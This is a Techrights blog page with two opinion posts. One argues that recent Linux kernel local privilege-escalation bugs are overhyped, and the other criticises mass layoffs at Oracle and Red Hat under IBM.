⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣾⣶⣷⣾⣷⣶⣶⣶⣶⣶⣾⣶⣷⣶⣾⣶⣷⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣽⠥⠭⡥⣭⠭⢥⠭⠥⡤⠬⠭⣼⠭⠭⠥⠼⡭⠥⠧⠬⠭⢭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⢭⣭⢭⣩⣭⣭⢭⣭⡯⣽⡭⣽⣭⣭⣭⣯⣽⣭⡭⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣾⣒⣒⣒⣟⣒⣚⣖⣒⣒⣒⣒⣒⣓⣗⣞⣲⣒⣒⣒⣒⣗⣚⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⢿⠲⠿⡾⠶⠶⠷⠶⠾⢶⠖⢷⡶⢦⠶⢶⠞⠾⠶⢶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⠭⢭⠭⠯⠭⠭⡯⠭⡭⠯⠭⡭⠭⡭⠭⠭⠭⣯⠭⣭⣭⣿⣿⣿⠴⠬⠧⠵⠽⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⢿⣿⠿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣚⣛⣛⣓⣛⣛⣚⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣉⣙⣛⣋⣙⣉⣛⣻⣛⣛⣙⣛⣛⣋⣛⣛⣙⣛⣛⣙⣛⣋⣛⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣾⣶⢲⢂⠗⣲⣖⢲⣞⠖⡗⣶⡲⣶⢶⢒⢖⣖⢶⣒⡲⣾⣿⣿⣿⠖⠖⢒⢒⠒⣶⢘⣲⠶⡐⡗⡶⡶⣖⡖⡓⣶⠖⡐⠘⡲⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣭⣯⣭⣯⣭⣥⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣯⣭⣭⣽⣭⣭⣽⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣤⡄⠀⠀⣟⠀⠈⠉⠁⠀⠀⠀⠀⠀⠀⠀⢸⠀⠉⠉⠉⠉⠀⠀⠈⠀⠈⠉⠈⠁⠀⠀⠀⠉⠉⠉⠉⠉⠁⠉⠁⠉⠉⢸⡏⠉⠉⠉⡍⠉⠉⠀⠀⠩⠉⢩⣿⣿⣿⣙⣿⣿⣿⡟⠉⠉⠉⠍⠉⠉⠁⠀⠉⠀⠉⠉⠉⠉ ⣁⣀⣀⣀⣧⣀⡀⠀⢀⣤⣤⣤⣀⣀⣀⣀⣸⣀⣀⣀⣀⣠⣤⣤⡄⣀⡀⠀⠀⠀⠀⠀⠀⠀⡀⠀⣠⣤⣤⣄⣀⣀⣀⣸⣇⣀⠀⡀⣇⣤⣤⣄⠀⣠⡄⢸⣿⣿⣿⣿⣿⣿⣿⣿⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⡀ ⣿⣿⣿⣿⣿⣉⣠⣤⣭⣥⣥⣬⣉⣉⠉⠀⢹⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⣿⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣹⣿⣿⣿⣿⣿⣿⠀⢸⣹⣿⡖⠀⠀⠀⠀⠀⠀⠀⢻⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣾⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠼⢟⣿⡏⢿⣿⣿⣿⣿⣿⣿⡿⣿⣿⠋⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢹⣿⣿⠁⠀⢀⣴⣶⣦⣄⠀⠘⣿ ⣉⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⡇⠘⣿⣇⣾⣿⣈⣻⣿⣿⣿⡇⢹⣿⣦⣿⣿⣿⣿⡏⠉⠋⠉⣿⣿⣿⣿⣿⣿⣿⣿⠀⣺⣿⣧⣴⣾⣿⣿⣿⣿⣿⣿⣶⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣾⣿⣿⣗⢰⣶⣶⣶⠀⠀⠸⢿⣾⣿⣿⣿⣿⣿⣿⣿⠿⠿⢿⣿⣶⣾⣷⣾⣿⣿⣿⣷⣾⣶⣾⣿⣿⣿⣿⣿⣿⠟⠉⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠘⣿⣿⣿⠀⠀⠀⢐⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢸⣿⣿⣿⣿⣯⣶⣿⣿⣿⣈⣿⣿⣿⠋⠋⠉⣼⣿⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⢹⠏⠀⢹⣿⣿⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⠀⠁⠘⣿⣇⢹⣯⣿⣿⣿⡛⠋⠙⠘⣿⣿⠀⠀⠀⣸⣿⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟ ⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⠶⠶⠀⠀⠈⠙⠛⠀⠀⠀⠤⠉⠉⠛⠙⠿⠿⠟⠋⠀⠀⠰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⡿⠶⠿⠇⠹⢻⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇ ⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣁ ⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⣿⣿⣿⣿⣿⣿⡿⠿⠛⠋⠉⠉⠀ ⠀⠀⠀⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⠇⠀⠀⣠⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡀⠀⠀⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣾⣤⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⣄⠀⠀ ⡀⠀⢸⠀⢈⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣭⣷⣿⣿⣿⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⢤⠘⣨⣭⠟⠁⣴⡆⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⣿⢸⡅⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀ ⡁⠘⠸⠀⠀⠀⠀⢤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡉⠀⠀⠀⣿⡇⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⢠⣄⠀⠀⢸⣿⢸⣇⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢁⣠⣶ ⠀⠀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠃⠀⠀⠀⣿⡇⣽⣿⣿⣿⣿⡀⣤⠀⠀⠀⠀⠀⠀⢺⣿⠂⠐⢸⣿⢸⣿⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⡗⣿⠀⠀⠀⠀⠀⠄⠉⠋⠀⠀⢹⣿⢸⣿⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⡿⣿⣿⣿⣷⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠙⠛⠛⠛⠛⠉⠙⠀⠀⠀⠀⢀⣤⣦⣅⠀⠀⠘⠛⠘⠛⠀⠐⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣟⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⡀⠀⣀⢀⣀⣀⣀⣀⣀⡀⡀⠀⠀⣹⣿⣿⣿⡙⠂⡀⠀⠀⠊⠁⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠈⠛⠃⠀⠀⠀⠀⠀⠀⣰⣿⣿⠂⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⣿⣿⣿⣿⣿⣿⣚⡑⠀⡓⢈⣐⣛⣛⣛⣻⣛⣛⣟⣛⣛⣛⣛⣛⣛ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⠁⠀⠀⠀⠨⢏⣭⣟⣋⣿⣿⣿⣿⣿⣿⣿⡗⠄⠠⣿⣿⣿⣿⣟⣋⡛⣋⠀⣋⣀⣉⣙⣻⣿⣿⣯⣨⣿⣿⣿⣯⣭⣉⣁ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣿⡇⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⣿⣿⣿⡿⢿⡿⢿⡿⠀⣿⣿⣿⣿⣿⣿⣿⡿⠻⣿⣿⣿⣿⣿⣿⣯ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣷⣿⣇⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠉⠚⡉⠂⠉⠐⠉⠟⣛⠛⠃⠀⠀⡳⢏⡷⢊⡱⢚⡷⢉⠀⣯⡷⣿⣷⣿⣿⣿⡟⢸⣿⣿⣿⣿⣿⣿⡿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⡟⣿⡄⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠈⠀⠈⠀⠀⠀⠈⠀⠀⠀⠉⠀⠉⠘⣉⠉⡁⠀⣉⠍⣉⡅⣉⠄⣉ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣷⡸⣿⡄⢠⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⣈⠀⠀⠀⣉⠄⣉⠤⣈⢤ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⡇⢻⣷⡈⣿⣿⣿⡿⢋⡾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⣀⠀⣀⠀⣀⠀⡀⠀⣩⣤⣨⡴⣡⠴⡀ ䷩ 𝚕𝚒𝚗𝚎 4633 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/The_Slop_Amplified_Fear_of_Privilege_Escalation_Local_Not_Remot.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/The_Slop_Amplified_Fear_of_Privilege_Escalation_Local_Not_Remot.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ The Slop-Amplified Fear of Privilege Escalation (Local, Not Remote) in Linux, the Kernel⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Don't panic over new Linux exploits: How to check if your PC is affected in under 5 minutes⦈ This article will not belittle security, but it will put things in some much- needed perspective. Lately there were a couple of bugs found (one prematurely talked about due to carelessness and lack of coordination with self-serving opportunists who profit from a sense of risk) in Linux - the kernel, proper, but not 'core' parts - and both of them got branded, which in the more distant past (pre-IBM) Red Hat complained about. It asserted that logos and catchy names meant lots of media hype would follow, irrespective of the real severity or objective underlying risk/s. One of the brands can cover two separate bugs (but interconnected). To quote one site: "Dirty Frag is a vulnerability chain combining two page-cache write primitives in the Linux kernel: one in the xfrm-ESP (IPsec) subsystem..." (link omitted due to sensationalism) I used IPsec for a number of years but have not had it installed for over half a decade. As noted in IRC earlier today, there is more impact for some than for others. In many use cases (for servers, desktops, gadgets), this is not relevant. A week ago it already 'leaked' that AFS was impacted and "AFS had a lot of file ACL commands to let any user create an AFS ACL and put 4 group project members in..." How many people still use AFS and how easy is it to access AFS-linked code? Quoting the_Linux_Mint_forums: "I guess I'm just wondering *exactly* how vulnerable the normal user is to this exploit? Not saying it's not important, but what is the probability that a single user workstation can be affected by this? The mitigation is fairly simple, so that's a relief." So now there is a patch and there will be many more patches anyway. Many more. Linux gets patched all the time. How many people should be frantic about it and reboot ASAP? As someone in the forums put it: "Also, please note, to be affected by this vulnerability, you need a malicious local user capable to access your computer. That quite a theoretical possibility for most of us." We are not downplaying those bugs, but we feel like one of them (the first) was creating lots of hype because it was allegedly a slop-attributed one (allegedly; we cannot know for sure and it is not wise to guess); we were all along being privately practical about this and rebooted when the patch became available. To be clear, local_privilege_escalation_bugs will never be a huge deal like authentication bypass over SSH. The pair of bugs (above) are not as critical as the media wants us to believe. The first is not 10.0 (rating for severity), not even 9.0. It is probably OK to apply that and reboot, but on many systems it is not imperative. As I explained earlier today to a peer, it very unlikely that a new PM (Perl Module) in Debian will contain an exploit for this (which can moreover be potently planted, then subsequently leveraged). It's also unlikely that any of the local users on our systems will get all nasty (or that Rianne will decide to become root; which she can regardless). And so in "realworld" terms, we prefer to put it in perspective and combat some of the media hype, which is heavy on brands and buzzwords (a lot talks about "AI"). If remote exploitation is very unlikely, and if the local users are trusted (or have physical access to the system), what is the complete risk model? If someone trusted ends up putting bad/malicious files on the system (and it is not possible to run them without root), either maliciously or ignorantly, then the true damage is contained. In our case, we need not worry about the upstream doing so because we don't use Microsoft NPM or something like that; that's because the system is managed via Debian repos and we don't use some bloated CMS crapwares (they often rely on PHP crapware or user-side uploaders for various users, which we lack; that's how malicious files often get planted/ placed onto systems). "I have not been able to cut through the hype to find the nature of that particular patch," an associate said. For nearly a week now people wait to find out what this was all about. Uncertainly contributed to the panic. Weeks ago Anthropic (evil_company_that_coerces_institutions_into_doing marketing_for_it) said a model was too dangerous to release. Then it leaked. And nothing happened. The same goes for this latest bug, which has a brand and a logo (Tux, the Linux mascot having_just_turned_30, holding a grenade). Did this live up to the hype? It relates to kernel subsystems like VPN (which not many people use at all) and for most people, with typical use cases, this does not pose a risk. They don't have "evil maid" accounts and they use only simple software. Their VPN - if any - does not live in the kernel or hijacks the network stack. Since a lot of today's news sites are weak on research and some became slopfarms (just parroting those poorly-researched utterances_about_"Linux") we are meant to assume this is no better and no worse than Microsoft_intentionally putting_back_doors_in_everything,_even_encryption. █ * Jim_Zemlin/Linux_Foundation_Selling_Anthropic_Slop_After_Getting_Bribed for_Slop_Marketing_('Linux'_Foundation_is_a_Pay-to-Say_For-Profit Marketing_Company_That_Buys_and_Manipulates_the_Media_Based_on_False Pretences) * Under_IBM,_Mass_Layoffs_at_Red_Hat_No_Better_Than_Oracle_Under_Larry Ellison_(Treating_Workers_Like_Disposables_-_Even_Enemies_-_Overnight) ⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣵⣽⣿⣤⣴⣿⣤⣽⣴⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⡭⣿⠛⣻⣿⡟⣻⣿⡛⠻⣿⣟⢛⢿⣿⢻⢻⣟⣛⠻⣿⣿⠙⣻⡟⢛⡟⣻⢿⡛⠹⣿⠛⣿⣿⣟⣻⡛⡻⢿⣟⢻⣿⡛⢙⣿⡛⣻⢿⣿⢹⡛⢿⣿⠛⣿⣭⣫⢽⣿⣿⣿⡏⣯⢛⣿⡟⣿⡛⣻⣿⡟⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⢿⣿⣷⢿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣽⣼⣯⣤⣼⣿⣥⣧⣿⣿⣼⣯⣧⣧⣦⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 4773 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Under_IBM_Mass_Layoffs_at_Red_Hat_No_Better_Than_Oracle_Under_L.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Under_IBM_Mass_Layoffs_at_Red_Hat_No_Better_Than_Oracle_Under_L.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Under IBM, Mass Layoffs at Red Hat No Better Than Oracle Under Larry Ellison (Treating Workers Like Disposables - Even Enemies - Overnight)⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 IBM also compels them to sign_NDAs_to_avoid_backlash_from_them 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Layoffs across companies like IBM⦈ While checking Team Blind for company gossip (some are expecting_Microsoft layoffs_again), I stumbled upon this week's rant_about_Oracle's_layoffs. This is what it said: My blood boiled reading what Oracle did to laid off employees My blood boiled after reading about what Oracle did to employees it laid off. Honestly, this is one of the coldest and most disgusting ways a company can treat people who helped build its business. I genuinely feel bad for Oracle employees dealing with this. What makes it even crazier: an Oracle recruiter reached out to me last week about an OCI role. I told them to fuck off OCI( not the recruiter personally, because they’re just doing their job) and do justice to their employees. Article about Oracle “Oracle wiped out an estimated 20,000 to 30,000 jobs on March 31 - all via email. Employees found out the way you'd find out your ex changed the Netflix password: the VPN just stopped working, Slack accounts went dark, and then a termination email landed a few days later with a severance offer attached. The package? Four weeks of base pay for the first year, plus one week per year of service, capped at 26 weeks. One month of COBRA. Sounds survivable - until you remember that at Oracle, stock can make up 70% of someone's total compensation. And Oracle forfeited every unvested RSU. No acceleration. No exceptions - not even for retention grants or stock tied to promotions. One employee lost $1 million in shares that were literally four months from vesting. Then came the WARN Act twist. Employees classified as remote workers in states without strong labor protections were told they didn't qualify for the federal law requiring 60 days' notice before mass layoffs. Some of these workers didn't even know they were classified as remote - they'd been showing up to the office on hybrid schedules. A group of roughly 90 laid-off workers tried to fight back, signing a petition urging Oracle to match what Meta, Microsoft, and Cloudflare offered their departing employees. Oracle's response? Hard no. The company declined to negotiate, declined to comment, and declined to accelerate a single share.“ How is this any better than what Red Hat did weeks ago? It cut off its own workers (400+ of them, blocked out of the systems without prior notice) and offered them no assurances or benefits, only some Web page and apparently nothing personalised. See, under IBM the respect for the worker (or peer) does not exist. █ * The_Slop-Amplified_Fear_of_Privilege_Escalation_(Local,_Not_Remote)_in Linux,_the_Kernel * Microsoft:_Mass_Layoffs_Are_"Offers"_(Like_"Job_Offers"),_Culling Experienced_and_Highly-Paid_Staff_is_"Softer_Workforce-reduction Strategy" ⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⡄⣤⣤⣤⣤⣤⣤⣤⣤⣤⢠⣤⣤⣤⣤⣤⣤ 